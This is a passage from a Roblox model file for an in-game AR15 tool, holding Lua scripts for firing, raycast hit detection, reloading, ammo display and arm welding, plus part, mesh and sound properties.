local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX3906">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.25</X>
					<Y>-0.400000006</Y>
					<Z>-0.400000006</Z>
					<R00>0.970142424</R00>
					<R01>0.000116311014</R01>
					<R02>0.24253583</R02>
					<R10>0.24253583</R10>
					<R11>2.74181366e-005</R11>
					<R12>-0.970142543</R12>
					<R20>-0.000119507313</R20>
					<R21>1.00000012</R21>
					<R22>-1.54972076e-006</R22>
				</CoordinateFrame>
				<string name="Name">AR15</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079905</url></Content>
				<string name="ToolTip">AR15</string>
			</Properties>
			<Item class="Part" referent="RBX3907">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-20</X>
						<Y>-68.6000061</Y>
						<Z>11.9000006</Z>
						<R00>-1.1920929e-007</R00>
						<R01>0.999999881</R01>
						<R02>-3.23057175e-005</R02>
						<R10>0.000101804733</R10>
						<R11>3.24249268e-005</R11>
						<R12>0.999999881</R12>
						<R20>0.999999881</R20>
						<R21>2.38418579e-007</R21>
						<R22>-0.000101685524</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>4</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX3908">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=72012671</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.20000005</X>
							<Y>1.20000005</Y>
							<Z>1.20000005</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3909">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">0.899999976</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=94125590</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3910">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2691591</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3911">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX3912">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3913">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX3914">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX3915">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX3916">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">AR15</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 33
-- How many times per second the gun can fire
local FireRate = 1 / 6
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.01
-- In radian the maximum accuracy penalty
local MaxSpread = 0.05
-- Number of bullets in a clip
local ClipSize = 20
-- DefaultValue for spare ammo
local SpareAmmo = 200
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .06
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
